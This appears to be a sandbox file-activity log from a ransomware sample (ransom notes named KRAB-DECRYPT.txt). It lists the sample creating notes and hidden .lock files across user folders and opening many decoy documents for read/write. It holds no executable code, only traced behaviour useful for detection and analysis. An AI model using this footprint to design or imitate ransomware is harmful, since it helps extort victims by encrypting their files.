Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage.sqlite desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\times.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\webappsstore.sqlite desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\xulstore.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\profiles.ini desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\oKgFkjyaPeGD29Ljhr.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Q3cSByRSxfl L.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\QZHjTN3bPCwqybadX3MG.pdf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\R6GaB5zYymqWU7YglxE.csv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Skype\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Skype\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Skype\RootTools\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Skype\RootTools\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Skype\RootTools\roottools.conf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Sun\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Sun\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Sun\Java\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Sun\Java\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Sun\Java\Deployment\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Sun\Java\Deployment\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Uk4A4D.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\VVJ6XMwAK4m90kYU220.ods desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\waoGyRe3.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\xZmPn47Fywi0P.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Y01YAx1z-bntirNC.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\YWHFzy9UAIlji.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\ZO0ZpDselfmuMv9e2FBJ.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Application Data\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Application Data\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Contacts\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Contacts\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Contacts\Aclviho ASldjfl.contact desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Contacts\asdlfk poopvy.contact desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Contacts\chucu jadnvk.contact desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Contacts\lulcit amkdfe.contact desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Contacts\sikvnb huvuib.contact desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Cookies\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Cookies\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\0tLnSI5.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\A-Vq6ykpPnUoE-.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\bgAiE7VaTbfEUdFpH.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\BoREMi9cj9CK7xKnWhQ.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\CrvJ6e01NChIZ.flv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\HKcfvorlM2_dKP8TXm.xlsx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\ihl4EXtYhnlE zL8Q.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\iVfn75FJu7vNuP.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Jfdn8ba607I53g.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\6RTrbjg.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\clmjWqYhgKOEEQ.swf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\f_lSY6wutXzpYdb6P1a.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\NH5WzAN7jgsR5HA\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\NH5WzAN7jgsR5HA\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\NH5WzAN7jgsR5HA\0BKEAkHbyG3.flv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\NH5WzAN7jgsR5HA\UAwLkPAfa.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\NH5WzAN7jgsR5HA\wcwUc CH.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\NH5WzAN7jgsR5HA\zx 64PABn.flv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\wH1O8nYfPk\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\wH1O8nYfPk\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\wH1O8nYfPk\0 lZ7w.jpg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\wH1O8nYfPk\iy6b.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\wH1O8nYfPk\jyfObg_oIhlLUe.jpg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\wH1O8nYfPk\PZUF k2P.flv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\1wZMWI44bo\wH1O8nYfPk\SJX2sCK2M.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\dl07LM3q8htlCmk8T.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\iH_vS6E\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\iH_vS6E\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\iH_vS6E\7jqj01n.xlsx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\iH_vS6E\BSdUlLP_fPL9cx.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\iH_vS6E\F hQgcCj 9.pdf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\iH_vS6E\NXL8NJ_C.ots desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\iH_vS6E\_8p73aPgnECcteGV0s.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Lf9t\P-v4C7pNfWf7JxZ.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\LfiXbB.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Rj0V4huA0hz2nx.doc desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\Rr9S3tnzL.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\SuKCXgG.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\tl4Q_4 XmdVB.mp4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\uD7dua.pptx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\v8pIBb15H_kETsL.swf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\xH62K.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\YjcuW46gUxYRn7.ppt desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Desktop\z09XhHTUIZ7XQ5oJ.pptx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\2GG6g.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\97UWGu eP_g8WfbV.xlsx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\aQw_s38iF0k5m.pptx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\Cor4llShd wqCH.pptx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\cta6w03zh.ots desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\Database1.accdb desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\dIO-dk87R2 8K-9UbP.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\ErAdO5.pptx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\DHbNsynUZTUlEak.ots desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\FKT56s2wxZz0FRw6E.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\kFh-nl5l0.xls desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\luxTehEGnFI6C5KeN.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\1lis6sJ-rA5I8p.ods desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\PreHK.pps desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\BO-IIf.rtf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\iFVCZz67.pptx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\J0G7-1c_z-PnUIV947jB.odp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\893LR Fp.doc desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\JLwxnfQT\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\JLwxnfQT\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\JLwxnfQT\5xxJMhf.ods desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\JLwxnfQT\6tazTl7G4e-N19_.xls desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\JLwxnfQT\8aJy5F-_lWUsZiFevN.ods desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\JLwxnfQT\c36_l.rtf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\JLwxnfQT\PLOi1WRQlD.csv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\JLwxnfQT\S8kyP0OzLqZ.pdf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\JLwxnfQT\uHWX.ods desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\JLwxnfQT\WSFj_3kH8.doc desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\K56FGI8e_qPk7EgE.xls desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\NCVb1PTH.xls desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\Qb15T.pps desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\N3LNN9Eg\sPy97gpP.odt desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\wcCZ9e3gb.xlsx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\X1BRjpVn-eHUMucU.doc desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\XbVuPK1.ots desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\rd0j9efZtIGt\ZDPW3bRzeF-27yP.odp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\xRugo\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\xRugo\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\xRugo\4wOpV.odt desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\xRugo\6p4trDe8K_8vpdH.ots desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\xRugo\IgJulx.odt desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\xRugo\mfDRRYEji.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\x5rBOxA2\xRugo\OUuT25IXSLeinWNP.ppt desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\fEXHt9X87hw5FTqPcrNK\yt2j6UPuTF1IxF8YRCC.odt desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\HhPD9.rtf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\jTGU3jmjMoCKLaJPKb.xlsx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\KTE_TH_45f-ryz.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\lt4y5G.pptx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\My Music\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
